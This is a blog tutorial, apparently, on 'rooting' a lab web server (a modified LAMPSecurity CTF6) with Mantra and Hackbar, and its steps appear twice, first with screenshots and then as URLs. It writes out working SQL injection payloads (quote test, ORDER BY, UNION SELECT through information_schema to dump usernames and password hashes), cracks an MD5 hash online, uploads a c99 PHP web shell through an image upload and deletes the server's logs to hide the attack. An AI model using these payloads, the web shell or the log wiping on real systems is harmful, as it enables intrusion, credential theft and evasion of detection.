Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZJAD4SCK83wt5FT4Zso3j8qZ2kq5PvmIyNeNuCtlew8jstoZEtTCc1fveQUtBrADDOlLgxML468NIb4arHviy7cq21Xzasfa7uBrZ5kvwAMYmvi1fvaG31PADsUtt1o4-evLoWbOBuk1oWzZslCBlBWlyvH1Srp9flFl-Y-n_-qs0=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_txf-gEzPjTX_z0XDGRHua46eV8FZECo1xA-NRGgpEQOrpatqhYd3g35QYynM6jw2D2r8_r5IA3C49UeAvVshZHte52Y74xFnWeMe8gxvxWwRDjA2yVa3ZN2xcQtFIhHvHbWUVnBfz2zOoHzFt7GVJrjYa3fr2-Xlwi-pdLNfJUpFp_7Q=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tCQEPB9VrgI1pvOjpw0e39GnGxu_8cfAKQSTWIsQ1XalbLGzKqHJThz7zhaCRwwITPnRATkOBT_pDDsWzB5l4fvGjxXzOkntW2D7Qgr6uR1ojr0N7y5PfxJ4G440mMlompqIdkyVtn3knEA0IFo-q3GPZf7sYK7R6g1aVLWDZGq6Dn0g=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tC5gPPTJF9lk6cpIFs6se-1fI7XhtqIYFN6K73P4RLcgQHK1T3FOSQi7j7nQNwWxXf9Qkl4xClGaKmISKKickIWo_hnwUa8oJwXs_S174x8eEEWidFhBPKphvuRBmAzJB8yohn_sz5rq8iEAGBgqrwH_B0wbiYQUQofjBSKQbxZjaqcg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vXcm1QKbf9CiJ6IIG_9LluRVI557WbEnuLA55Y2lA-Wc-OvrnTAKoFQx8IZ_EGlqJ6QC0ErV7HUfmtuWgPj3iEruHh5uxQcLQZrMw_BlJBBQ0yTbHsIeros4WhXFk1mK5h58bZZUTmfu-6cjbjDUgAjO_O0g_O2eOVlZ1j3dB7nICP1Q=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXPelcMFXBxHu8TH7TCa53RkD6UutXPmdlKcfw3Rbg7L2M56wh5sI-ZWi0Jj6uu7lSi373KS_cdjDocEpkClQBHHwpgm4jbXdB4H88I3RQoRaqB1N24CBESM3Bkua95zeM83SYIAQl7-8wxwm9I3LQMch2aaMHkWSD70U1vZGhhEsX=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stJUks5yc3552Jq35Wjc4BTgmqLl3GpnwH3DsmanPqMXwOMWnWpr0TVEwaWvi7UGTeo8ka6l_LFiLILI8EVHTupzGr4Gk0ZHKbcYR7_fGvS5CLLd7Ncnr_f3XN89nIR7CfexDAdfcbbJ-3W_DAXr4fedz1ECKI97lx9QFToys80ktDnTI=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uq-d6jxq8uz_Em4wq7h6KmKosbLt2tGyBKu3zis6hPp1SsL0anzmmpVGgOfG42MbnT73KgyQNo4y4ZYOHl4BJUX-4Y_ArvMuWbHYj9GkuM9-82IYE28hg4gKIBkLenFDNrrfMb25EXGn989PFvo09y5uw-sUR6IyMV6fb1_d3xgfukdiQ=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vvwv7XR1pNoSDQjs7tTJS9H6IKGT82rc5aBpA6tQbBLf9PylR7E3Wj8yqgsWnoXU7xOnsxhsgqD-3hG7nWcLdaV5d3e7aqtiHRCpULrg0XhM0nN-FVp9r96q7xQx3-LRd0_qvze7Az8s50YudJSkAEYrTN9X1LcOPcZCLZIC_nNuuAEY4=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tCntgE9vHuh0ONxAIcUznya4Dzf2Uy4VbismrLNsUzlRDXLnYwPyubpeymzi5cYrkwxO5jbs7XlfDDbclHWxVq7KlSIMAPdMEPAjQFpkJyacy9fHzYMgByJr1q-BDo-KjKdyEs_4FYYDcQotUN4gxxVwGwvtu6ZiPoOgJKn4GEhFR4oPo=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4M1XEX_5Y_j_SxmbArPspTFrdtaMSxVWBQ6Xt16UQ3QAhbvJp0EuUppVunFcpcyKq9IsMAVIahKiiPaDRKfyYitifgEte5btEOzFgErKHDcHQMmZjNjpk1CFfdqZDycAnq0JTahgpnqizqbGhyts9joXb-VGLtsO2LM2R_dnf9HGFwg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u96vEnQLb721SxjAPLJsth01Xxt_KJgvN3ykLGKPWe8XoJiX0Vi17WLcrPvEjVrK5SXNP_PVgZ2z6ddwyvEsnxEBheFSYf5tk9eCq2XN3xjdlN_bBdxP-yHQrprDNxQtGEiuX-qsc1KvSnViSYUenT8FotgYzFrowfApKmfbK0QOVx_GY=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shYENHr0ri8-2LC0PqaYZ4HcK3d4ZqxgECWQLxDOkCA-Iv90SGdVF-tRX2NBq2evbUyI0xtqFM4dcnWsXVggxHWlyuRotZqo1Rj4TibcQp4i6teWShA9TcdzqABdx0YIkEazYYClvKqe7ngCwWE_jR-bjYswZQ6srrOnmQJmokprvsz_A=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFHzN93_2sHPXOcHzVb_bzxUAv7NUNOiYrn8-lJB6nOeIOM--5QQd5in8zMHXVNtIb6W0yFkOHHDU2ZujBY2_ASQypq7xrsgIk9976PDXSkkhMMqMaUrr7jJW-JfbHO3HCWnQSgVsplpoHsI7-SRWZ7bPX3CXpJqMM1feLGdnP5fYqGQ=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uA5yoj2gu8Ni3SKfJ9QiOT-WoCx8O4PGub2vtFPN03l2kNlHrVmHiBMPrpue1ZsxQPp2QaKpkG52Te-UkwMMtfVduFP38LULsBfTWnCWBTxLeDyL2dvxCa09oObIdedISGBPb8abYxMbgRNDM2hUMkapJvBH60rV6Mf3wtOY9ZhUSatA=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vwrpuyZwrRaZ9em01z-KRcY9qPqpw4gr78wAWflskx1BF9b5GAt2dINyyzLCF7gXTMNvJNYs0hcJMZGQudXnkFvXXMFIS8i01kUZ0pe8g4hgYerlGBQYRS2AtenW9SrlL4jrVSUVvJTZbmFrXFhBjkJ9OJ4JpwHYZoHGoFiyfoc4GDPTo=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9IPy72aEFOI72jSERgV9LJ9t4y8imuuMoaxXWpJ8NfnkkdMJ4pMrL1CVe8t17paHvGfXNjd1oWSUVdKiS5Iw7sW3YDd7AfYoC0Ac8liEs71SUHGtMZdjuO0kiYfXlfh4oDTdOPa5ZJjd9SFcnmsNhEfJ_QTCrrD_HB3yBph-sdkrkydk=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u-C2KkljOPj5BFXaDR_cgtGlsZBnGjbJvjeMGWUP94-Sysx-p4XXUTRieVkjysOw7NlCTlokG-j4GUVPLIquBbzBAadHy4rJ1uQRtdHALr8OLQtEujZhlsNbeDIRHizzyfRDEzOnfNRuCBo33IL3UWXrCuK53rR7jcY7ij7ncICMlK7Ls=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uN6D_EA1fGGovmsmR5pxxnXGVCPrZkrwQNX5KIJZ7Q1qSiGy6ATomGQBnK9Tt3nBSOOOjTypjHcnEp-dqbduBJOHBAv3rl1p7dv5qvoQiki2O9q5YnWLCNulj5i4muCdN-Ut4YM-zRjyy8-xdfPkEs7ts1Dwc0sHaIMlicIxhGwR2V2GU=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYUuXdolLgFtBpzPoFtGLKiDOzDJSx5BXtUmyZX_900qQQTDUXP1jaqDJfB7UCQQ49QCMUHoMn07POe7m-AK4Q3QQk2vB9PLL5Vo_6OtM-nB_Ls7lAoq263o-BLMtbElSZo6T-Zn87GlbPux04u3fOOM7Hniu4oVJy7OAjyyp2t5FD0Rw=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVt8NizVR0TN-RHYBumNzJCkSUkgFA84ahe3L_YPlnu30K3l6KjKBdkGJ_w_NoPvnDdfNEmUc1jXsQ2-2sQ_194W4bu7FXoYK0MIR1QRD6SYsF7llZpcqTUwzdoJKB-yfNwV-bjfWJ21dyNRAJDJ4qNihIoBAypp7WbMXVluQjlzxIXGA=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_saQG5_ZMAKDzizNzPNvnQ_265NrZz6yNr3VGLnAVPQVeZTFAT9wk4Coie--f1VMTG4eu0Bw1iP9CHY_v7sWq12mBPpoinMxwS6p-RjUf11FCTFC0Z6dFkrdYc_upOqhZseyr0XFm-l0IENOzdH3rJ4HfzVYUNP4qHCQ4VYP-Q8SSxEnFQ=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u5rRAST8mZ_gWCPpRA3yglOVyd85KWA7qCSHpJIhJJqZ2YdPDoKUleDfmq2TexoLrrzCMHV6NN3WBCDfDr254C4Ln0IdNTs6tU6PZCOHm0XCWSpAgfRq4TkM_9sT79j7UwkLhiovAry86CbCCSrMRB5oaue15IADnlAk5eTcm39kpquWg=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vgT5CouSo3SfQ-Qsq-xjkZH2fs3--mDtL-ucuw4N9OncgMdDYaNTNAI78lS0uTiuM03z0uO3w_r6WcQwQd-1A3t3Z5waFTPzWMo6oH1gwz2OZ9cAApYwl14fkw_aWw8-GAhVaH1abEW5jbbY6kAVLXv-oth8bUZD6fJ6BKlLitaMyjki0=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v_qYF5Wp8w5xva_ETwoK_fybQRwb6rglTS7BaLfYFNRUfLqSNZaAmLAUc-1LEeMm7noFYA8JrfrW0kAkqQm76pHStMCR1C3htc3W4TgxCPC9lLlCxsG-NmPyIQ0akOwyQBtrF83EkLJ_kyaliDyi60VsMzXBZOryQvx-ZBTfGSl-AUOQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vi85US1WQbu1rfR32WxLSeFPzxTvBMY7vpuKef8axj1gECCEKZ6Fk0h-LCD1lFVmYIE5C5PNHmBkxfhgrxy7MP0OrwoLfLRs1OFB7QpN7W3t0OmNf3nIByutGwo7MKYkkUow-x00tPLWLDIKyrPy0GUOtZRLBtwYGINNSXGFZfGYShiA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tZInv9A6nFn3BhOvSH8h1Z4WfUH0aZjZqSBVF6IUF4zq2Uw1xvj7jzier2w5LmVMjbQ76x0ZnYV54Usf6u42fMrrGJ4xU1WAMspl8shuHWPh7Em0YC2v1mLbqFvaBIptQOKm_2CBkUR2WgvX41rT5Gb0uPXSIPUQrzAkfDcDuOPPIduxw=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ss40u_fGfH38ihBLUfScSadqV1OuZFnEHY2StbqGZhccj-v8Lh57uxH04qXdcwk0Y9R2K1oODPupGR78pSIOBef2k7wXIQAs3Gn0vDfQuN9iwzYkKzJezDYAwy88Q7nVm8UBabrV3RnN59kiTc6DmfvhMuqiNv_gVPcrlzXKwOUYZMnc8=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vfMbu8efg-DLERNe69tbRRdT9RiBfL6ghKy7q0vc9Sv0P9vxcM83jGV0iUA4TtIgpRdypcMVqCZePumE9OTfcdzrHuaihYsidx5xH319NmsiBjZOOPQB-cRCwmbqlsG6sst_HNEjWGvBox3p3ButXRWy5LIfvHHxBkS34F0UIsJOquaQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_svsY3Jzt7wEksxbNq3N2eMjF2PhYF6Rup2UxjqW2He5EQqHeHnSUMPpBHGKSwV2OZE43WI-z5w5-L-hUELs9QDiMH1KfnE-Rbg_L-soajnB1o0S1J-MCcPrhvglgDoi-Nz82WBVZbhff5iCiH8uh-7lmLnco2rPNJEKZIzxOlkpti6wVY=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sG2JwEYH7XHSASNk4-MDLM62gXaOLh-W4eqkS0A8q64aYZ7038HCCpzSmLBEQyPYno-DHpZYWJx8HUY1QbP98IV5970eBwjNAp-KZyBV49KxxkjuZMUNK9pc1O6aniyfrVJ4x1shoazMHjYzSY9N9iu74e_m5IwZZu13jHf5VIDOljHgs=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tRsSo9Wh9OIxP6qcTOrTmvDmgjJD4yx5umTp4KPGJvA8MEeA0Dmf-nghYvf1stHEuI2Ri_obcmwtgBib5HaaJVfd6kTcIYX-aDzovZYXECcS0O0BWiaXBMd7ZUteYu8BlSRN8pw8soU4bCXYksMmWjxXS5nCMlK1N8MLgp_-pQTKnBgHc=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjKySmiT6hOq7TKzZPqAGT8Q1537-TN10Nb6OUVaS3SnqDKHvd_BGLjSALtYRVHu_RcaZanRUAqOjwLkFdL7K01rGe7lT91JIoRWzdiLL32mHAHkGoRiVQPafH4d95dx96LwqGCz5wn6eI827IGL5564mk6x9RucylszcnnKgIm261uoo=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u9GUUOAg5anHqruYSpPdUa8imBGvwQzCAszlpCcoiKDyohTxKwdqdsMGcVL5zUh0RfI2cUNQL_Z9hd3TSRBVJLSU6lsJqVMc3OmLsGZ_tGMZWsuUc8RhytWRNtr-CzJuEsLTcl8hkCXuyjl3dPL-NAh7YNfrsa60MlSdlg0MUlfeEV_oY=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vFe9k-qLU9xXMwx4kglGfPEeo0Y2aqikzSuSDqxbimbx3RhpChQVcb0CnQZtlGnSkKc6B90PPD44HQxbhvz0Ee4SsLC6754bdO7HWOp51_XqsBg2wAFjrM1buaLuyl86fbrJ2A4jqvMuBaqcD7aaC7NerqJ4-NfqUVz6iUyaNAENTlX2o=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uqFHgVlAz2K-ay7688lkdaZKrlkY4HwmIZlxMBjF1Cp7pACPaN0N0ZitG1WxSNi3vkVfIaW5jO7IFbBSwN_p61BKeQXFswdR1h5NKi1Z1okWXQomMqCbqESsmfDEcAhUjDoP1rsaF76MyyzaV66wEt8ENKne0S7NT6X8E4oe5qZ3Hs0UI=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbX88HcpQFvDeF6hlVB7gy88gGhPz8qMB7FzouPkaxxHf4dTmPFNnBrykLVZOgz1sEh3eQ7lqkN_3p6KH_XlTR9BMOa6TLBdt5mt16d1eY5POyPrX0xZL8ik7F_eKyfqKLmvk2sC1sSCPsmA_aZ-HMGU3JF2CgXrTt2qlP9fpy-WTirw=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_veSpAsuOCtaQqyeJyMZx48KiOb6KRrgOyjOZR5N85-fkaEY-bVSGPTzNGwwI8cOJycDEcpc_6kNvf55zX5g6hzZg3TqMRhtEwSSzDzSrNQqyD7oMmlyXMPVL-zNcGeagdR2E74q2VEFicE_RAiO3o1vVDa7_ccP__aWXX-uF1Oilsv0FI=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEcEbkVjPsbsR615u2hc7wahBhujXJr5ZHrJpBo8FgmBKzJrAapg1GhBYwsAf2gb3FeNxp532CMPcWG-Kf1a89YS0paEwEdeEomtkCFO-IwePjwYi28pePGSvV6dcopBl1AMF4Q4yYZykhYVrWuTTEfIqd0Pb_yFbaJYQnRLzI6x4eTA=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vWHKAEjlbz2OunJ8WLea7BmahhS1RI6bWhuPiSB9CDESy_iwhnLOExHP5W_e-BoMpG54bPmYNF-apLRKAx_-RaCz4ayWQrXbKndrIHRk3JyQJD3ibL3A-D-XcUdPQwZqlkUVLyL2pwaTHbqo-8JISBCoZY0guaV63xgnZ2YLIrlHLHivA=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxWE-OAzgz8smEvNeDOekcyjzjmA0PwVwMAH96cSGz_0eAus-hb3NmCx-IF3Mf2bmCkIvvJzbqIm0P5kN7rICFExx-sAWggrD3HG7a5SFV20jgvdaPeVoZVmN229SVhnuxHAs-SClrfPFnY6451ocyhSzsJRbFuzuiC1p2VZjYG7JKyV4=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vt2_8QdaJ_9gJNkUAj60dL9csaOu8D5cBO9cFVTdtAzPrdijIoMIXXZ0ASGzGt3UubCKIl2GFEEmjrIkTV6py4hw9u-kqpgWomF9pY2JMjVUuqk3N2tUbYmKn95OH6MZAh0BIlEbfTfZmC6Cy4U1yhD_96c1E8pXkVmksM7fqDG38hUFM=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDmnGPx6j0L1cyFQOb7lb9iU95nyAtjUeHdEf7sjh42BnnMteXYsfdopJFfLv9-n4bwYiz_owLoJkZ4bAYBup9wkSVmKWloMvccwpwDXHkGz8oHhlxcqDc74Sw2iwIFVd7d9aGraEb6jY6J9iX_wjixESw-1j32TVdDxpq5iMEKNLqcdY=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sIW2RvN0Mg5nek3v5-Icsw62taaBXnr0YnjrkImkxro8F0VSZddO8aTaIr51znsjjX-cX_KusYbfum-tqlaV2wigr3PvfUZlxm9tNOSALRbztAqQQIca8t1tZ5xhpAuPyfVKZgHM9ZNPNADuOUkT2yONQ6-hoBYk1G-VHNHPO4vIYUqA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKAnNNQv5JdEQ42PfBDdoHKzkQQudZaqF4ijQFA00K00Yh42GokqsFJAl03FhHBw5V1A9K_4IKUBYEFP5U0ph1FqgpxUTaxP0rU4Zb-ld-iseaiMzoXirMHsy4HN936Xeb_EVzT3jFcnS2XkPgKIvW_t-KSw-yRf2-hT3-aj4faGOfIQM=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete